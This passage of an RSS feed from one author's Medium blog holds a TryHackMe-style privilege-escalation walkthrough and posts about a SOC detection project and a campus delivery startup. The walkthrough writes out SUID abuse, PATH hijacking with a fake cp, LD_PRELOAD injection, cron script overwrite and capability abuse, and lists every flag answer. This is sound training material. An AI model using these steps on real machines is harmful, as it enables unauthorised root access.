stage.</p><h3>Project Numbers</h3><p>The project currently includes:</p><ul><li>~2200 lines of Python</li><li>9 modules</li><li>77 unit tests</li><li>11 MITRE techniques</li><li>full Splunk integration</li><li>a monitoring web interface</li></ul><h3>Final Thought</h3><p>I started this project thinking I was building a detection system.</p><p>By the end, I realized I was really learning how to <strong>design SOC intelligence systems</strong>.</p><p>And that shift in thinking changed everything.</p><h3>Project Link</h3><p>Full code and documentation:</p><p><a href="https://github.com/Nikhil0905/InsightOps">https://github.com/Nikhil0905/InsightOps</a></p><p>If you work in <strong>SOC, detection engineering, or blue teaming</strong>, I would genuinely appreciate your feedback.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9dcd1a45ae3b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Operation Root Access — Walkthrough]]></title>
            <link>https://medium.com/@nikhilshakya0905/operation-root-access-walkthrough-ecf33ed93667?source=rss-c82c46aa41ad------2</link>
            <guid isPermaLink="false">https://medium.com/p/ecf33ed93667</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Nikhil Shakya]]></dc:creator>
            <pubDate>Tue, 29 Apr 2025 23:23:09 GMT</pubDate>
            <atom:updated>2025-04-29T23:23:09.835Z</atom:updated>
            <content:encoded><![CDATA[<h3>🧠 Operation Root Access — Walkthrough</h3><p>Difficulty: Intermediate<br>Category: Privilege Escalation<br>Platform: Ubuntu Server 20.04<br>Author: Nikhil Shakya (0xLunatic) — THM<br>Users in Escalation Chain: trainee ➝ user1 ➝ user2 ➝ user3 ➝ root</p><p>📝 Task 1 — Introduction<br>Welcome to Operation Root Access!<br>We begin on the system as a low-privileged user `trainee`. The objective is to escalate privileges through a series of misconfigurations, ultimately achieving root access. Each user along the way has its own flag.</p><p>🔍 Task 2 — Initial Enumeration<br>Useful commands:<br> whoami<br> id<br> uname -a<br> hostname<br> sudo -l<br> find / -perm -4000 2&gt;/dev/null<br> getcap -r / 2&gt;/dev/null<br> env</p><p>Questions:<br>- What is the hostname of the target machine?<br> hostname → THM{operation-root}<br>- What is the kernel version of the system?<br> uname -a → THM{5.4.0–42-generic}</p><p>🧨 Task 3 — SUID Binary Exploitation<br>Enumeration:<br> find / -perm -u=s -type f 2&gt;/dev/null<br>If /opt/custom-bin/suid-helper is found and owned by root:<br> strings /opt/custom-bin/suid-helper<br> /opt/custom-bin/suid-helper<br> whoami # should say root<br>Flag:<br> cat /home/user1/user1.txt → THM{User1_Found}</p><p>🔁 Task 4 — PATH Variable Hijacking<br>Check crontabs:<br> cat /etc/crontab<br>Found:<br> * * * * * user2 /opt/scripts/cleaner.sh<br>Inside cleaner.sh:<br> cp /tmp/file.txt /var/log/<br>Create fake cp:<br> echo -e ‘#!/bin/bash\n/bin/bash’ &gt; /home/user1/cp<br> chmod +x /home/user1/cp<br> export PATH=/home/user1:$PATH<br>Wait for shell as user2.<br>Flag:<br> cat /home/user2/user2.txt → THM{user2_captured}</p><p>🧬 Task 5 — Environment Variable Manipulation<br>Check binary using printf (e.g., /opt/bin/custom-bin):<br> strings /opt/bin/custom-bin<br>Create exploit:<br> gcc -fPIC -shared -o evil.so evil.c -nostartfiles<br> LD_PRELOAD=./evil.so /opt/bin/custom-bin<br>Flag:<br> cat /home/user3/user3.txt → THM{flag_user3_found}</p><p>⏱ Task 6 — Cron Job Abuse<br>Check crons:<br> cat /etc/crontab<br> ls -la /etc/cron.*/*<br>Found:<br> * * * * * root /etc/cron.d/backup.sh<br>Replace script:<br> echo ‘#!/bin/bash’ &gt; /etc/cron.d/backup.sh<br> echo ‘echo “THM{cronjob_root_flag}” &gt; /tmp/cron_flag.txt’ &gt;&gt; /etc/cron.d/backup.sh<br> chmod +x /etc/cron.d/backup.sh<br>Wait and read:<br> cat /tmp/cron_flag.txt → THM{cronjob_root_flag}</p><p>🎖 Task 7 — Misconfigured Capabilities<br>Check:<br> getcap -r / 2&gt;/dev/null<br>Found:<br> /usr/local/bin/pyroot = cap_setuid+ep<br>Execute:<br> /usr/local/bin/pyroot<br>Flag:<br> cat /root/root.txt → THM{root_flag_ultimate}</p><p>🧹 Task 8 — Post Exploitation &amp; Clean-up<br>Access Chain:<br> trainee → user1 (SUID)<br> user1 → user2 (PATH hijack)<br> user2 → user3 (LD_PRELOAD)<br> user3 → root (cron/capabilities)<br>If VM is reused:<br> Reset permissions or revert snapshot.</p><p>Summary of Flags<br>| Flag Location | Flag |<br>| — — — — — — — — — — — -| — — — — — — — — — — — — — — — -|<br>| /home/user1/user1.txt | THM{User1_Found} |<br>| /home/user2/user2.txt | THM{user2_captured} |<br>| /home/user3/user3.txt | THM{flag_user3_found} |<br>| /tmp/cron_flag.txt | THM{cronjob_root_flag} |<br>| /root/root.txt | THM{root_flag_ultimate} |</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ecf33ed93667" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Behind the Scenes: Building UniQuick for Campus Communities]]></title>
            <link>https://medium.com/@nikhilshakya0905/behind-the-scenes-building-uniquick-for-campus-communities-4386cb343f3d?source=rss-c82c46aa41ad------2</link>
            <guid isPermaLink="false">https://medium.com/p/4386cb343f3d</guid>
            <category><![CDATA[business-development]]></category>
            <category><![CDATA[business-strategy]]></category>
            <category><![CDATA[daily-blog]]></category>
            <category><![CDATA[startup]]></category>
            <dc:creator><![CDATA[Nikhil Shakya]]></dc:creator>
            <pubDate>Wed, 09 Apr 2025 19:49:43 GMT</pubDate>
            <atom:updated>2025-04-09T19:49:43.695Z</atom:updated>
            <content:encoded><![CDATA[<p><em>By Nikhil Shakya | April 8, 2025</em></p><p>Hey everyone! As a co-founder of UniQuick, I’ve been knee-deep in turning a simple idea into a startup dream, and I can’t wait to take you behind the scenes. Alongside my passionate team, we’re crafting a delivery service that’s all about making life easier for university students, faculty, and staff. I’m Nikhil Shakya, one of the driving forces behind this venture, and I’d love to share our journey with you. (If you want me to dive deeper into my personal experiences building UniQuick so far, just let me know — I’d be happy to add more with your input!)</p><h4>Where It All Began</h4><p>The spark for UniQuick hit me during my own college days. I still remember those late-night study sessions when I’d realize I was out of stationery or desperately needed a quick snack to power through an all-nighter. The nearest shop felt like a marathon away, and big delivery apps like Zomato or Blinkit? They’d take ages to get past campus gates or slap crazy fees on small orders. It hit me — the system just wasn’t built for us students living that chaotic, vibrant university life. That frustration stuck, and I thought, “Why not create something that gets us?”</p><p>Fast forward to now, and UniQuick is the brainchild of my team and me as co-founders. We’re a small but fired-up group — me, a couple of college buddies who’ve lived the campus grind, and a few tech enthusiasts who are all in on making life easier. Our inspiration? The daily hustle of campus life and the unrealized potential of local vendors who already know our needs inside out. Together, we’re pouring our hearts into this.</p><h4>The Challenges We’re Tackling</h4><p>Launching UniQuick hasn’t been a breeze. Designing a delivery service tailored for campuses has thrown some curveballs our way. The logistics alone are a puzzle — campuses have restricted access, unpredictable schedules, and a maze of hostels and departments to navigate. My team and I have spent countless hours brainstorming how to set up on-campus delivery hubs and train a crew (maybe even students!) to zip around without turning the place upside down.</p><p>Then there’s the inventory challenge. Big apps stick to food, but we wanted more — pens, shampoo, medicines, that midnight Maggi fix. Sourcing these meant reaching out to local vendors, and let me tell you, it wasn’t easy at first. Some were skeptical about going digital, others didn’t see the point. But we kept pushing, showing them how UniQuick could bring their products to a bigger student crowd without them doing much beyond keeping stock ready.</p><p>Affordability was another hurdle we tackled head-on. We knew students and staff couldn’t handle high minimums or surge pricing, so we’re aiming for deliveries starting at just ₹8 for orders over ₹199. It’s a delicate balance to keep costs low while ensuring vendors and our team get a fair deal — something we’re still fine-tuning as co-founders!</p><h4>Partnering with Local Vendors</h4><p>One thing I’m really proud of, as part of this startup, is how we’re teaming up with local vendors. These are the heart and soul of campus life — the small shops and canteens dishing out samosas and spiral notebooks. My team and I have been hitting the ground, chatting with them, and showing how UniQuick can digitize their offerings. For instance, a canteen near my old hostel could now deliver biryani or chai straight to my room with a few taps. It’s about giving them a bigger platform while keeping that campus vibe alive.</p><p>We’re early in this journey, but the feedback’s been a boost. One vendor said, “If this works, I won’t lose sales when students can’t make it during rush hours.” That trust fuels us. We’re tailoring UniQuick to Indian university life — think monsoon-proof deliveries, late-night orders during exam season, and a catalog that mirrors what students here crave.</p><h4>Tailoring to Indian Campus Life</h4><p>Indian campuses are a world apart, and UniQuick reflects that. With over 40 million students in higher education, the demand for convenience is sky-high, but the context is unique. As co-founders, my team and I are designing for hostels with strict timings, sprawling campuses like IITs or JNU, and the diverse needs of students from all over. Maybe we’ll toss in regional snacks or study materials in local languages — still brainstorming! The app’s UI is being kept simple, with real-time tracking and AI suggestions to match your mood (hungry? Stressed? We’ve got you covered).</p><h4>Where We’re At</h4><p>UniQuick isn’t live yet — we’re still testing, tweaking, and learning. The ride’s been wild, but every challenge makes us, the co-founders and our team, more determined. Our goal? To let students focus on learning and growing without sweating the small stuff. Campuses are evolving, and we want UniQuick to evolve with them.</p><p>I’d love your input! Have you faced similar struggles on campus? What would you want from a service like this? Drop your thoughts below or follow us on Insta @uniquickdelivery to stay updated. Check out more details at <a href="https://www.uniquickdelivery.com/">www.uniquickdelivery.com</a>. We’re just getting started, and your feedback could shape what’s next!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4386cb343f3d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why UniQuick Could Be the Game-Changer Campus Communities Need]]></title>
            <link>https://medium.com/@nikhilshakya0905/why-uniquick-could-be-the-game-changer-campus-communities-need-fc9391057dba?source=rss-c82c46aa41ad------2</link>
            <guid isPermaLink="false">https://medium.com/p/fc9391057dba</guid>
            <category><![CDATA[social-media-marketing]]></category>
            <category><![CDATA[daily-needs-stores]]></category>
            <category><![CDATA[business]]></category>
            <category><![CDATA[delivery-platform]]></category>
            <category><![CDATA[enterpreneurship]]></category>
            <dc:creator><![CDATA[Nikhil Shakya]]></dc:creator>
            <pubDate>Wed, 09 Apr 2025 05:51:02 GMT</pubDate>
            <atom:updated>2025-04-09T05:51:02.573Z</atom:updated>
            <content:encoded><![CDATA[<p><em>By Nikhil Shakya , 1st April 2025</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q-7f_SdD1GK1YJZLXPzZUg.jpeg" /></figure><p>Picture this: you’re a student racing between lectures, drowning in assignments, and juggling club meetings. Time’s your biggest enemy. Now add the hassle of tracking down essentials on campus — limited store hours, empty shelves, or no quick way to grab what you need. It’s a problem begging for a fix, and we’ve got an idea: UniQuick.</p><p>We’re working on a delivery service built just for university students, faculty, and staff. This isn’t another cookie-cutter food app — it’s a hyper-local solution we’re designing to bring convenience, affordability, and speed right to your hostel or department. Here’s the plan we’re cooking up.</p><h3>The Campus Challenge We’re Tackling</h3><p>Big delivery apps like Zomato or Blinkit dominate cities, but on campus? They stumble. Restricted access slows them down, high minimums and surge pricing sting, and their food-heavy menus don’t cover the random stuff students need — like pens, shampoo, or a late-night Maggi stash.</p><p>We see the gap: campus life demands more than what’s out there. Our goal? Bridge it with something tailored to the chaos and quirks of university living.</p><h3>What UniQuick Could Look Like</h3><p>Here’s the vision we’re hammering out — UniQuick as the ultimate campus sidekick:</p><ol><li><strong>A Catalog That Gets It</strong><br> Snacks and groceries? Obviously. But also stationery, toiletries, medicines — stuff sourced from local vendors and campus canteens. We want to stock what you actually use.</li><li><strong>Crazy-Fast Delivery</strong><br> Imagine hubs right on campus, staffed by people who know the lay of the land (maybe even students!). Orders could hit your door in under 20 minutes — no gate drama required.</li><li><strong>Easy on the Wallet</strong><br> We’re thinking delivery starting at ₹8 for orders over ₹199, late-night discounts, and maybe even loyalty perks or subscriptions. Affordable is the name of the game.</li></ol><h3>Bigger Than Just Packages</h3><p>This isn’t only about dropping off stuff. Here’s what else we’re dreaming up:</p><ul><li><strong>Lifting Up Local Vendors</strong><br> Those small campus shops could go digital with us, reaching more students and growing their hustle.</li><li><strong>Blending Into Campus Life</strong><br> Partnering with student unions for events or tossing out exam-week deals — UniQuick could feel like part of the family.</li><li><strong>Tech That Clicks</strong><br> Real-time tracking, AI picking what you might like, secure payments — all wrapped in an app that’s simple to use.</li></ul><h3>What Students Might Say</h3><p>“I’d kill for food between labs without the wait. This could save me.”<br> — Aritra, 3rd-Year Engineering Student (hypothetical fan)</p><p>“A USB cable at 10 PM before a deadline? If UniQuick pulls this off, I’m sold.”<br> — Megha, Design Student (imaginary cheerleader)</p><h3>The Opportunity We’re Chasing</h3><p>With over 40 million students in India’s higher education system and campuses popping off like mini-cities, the demand for fast, cheap, reliable delivery is huge — and growing. We’re betting UniQuick could not just meet it but set the bar.</p><h3>Where We’re Headed</h3><p>UniQuick isn’t here yet, but we’re working on it. The idea is simple: let students focus on the big wins — learning, growing, chasing their future — without tripping over the small stuff. Campuses are evolving, and we think their services should too. That’s the spark driving us forward.</p><p>Want to see where this goes? Keep an eye on uniquickdelivery.com or @UniQuickDelivery. We’re just getting started.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fc9391057dba" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>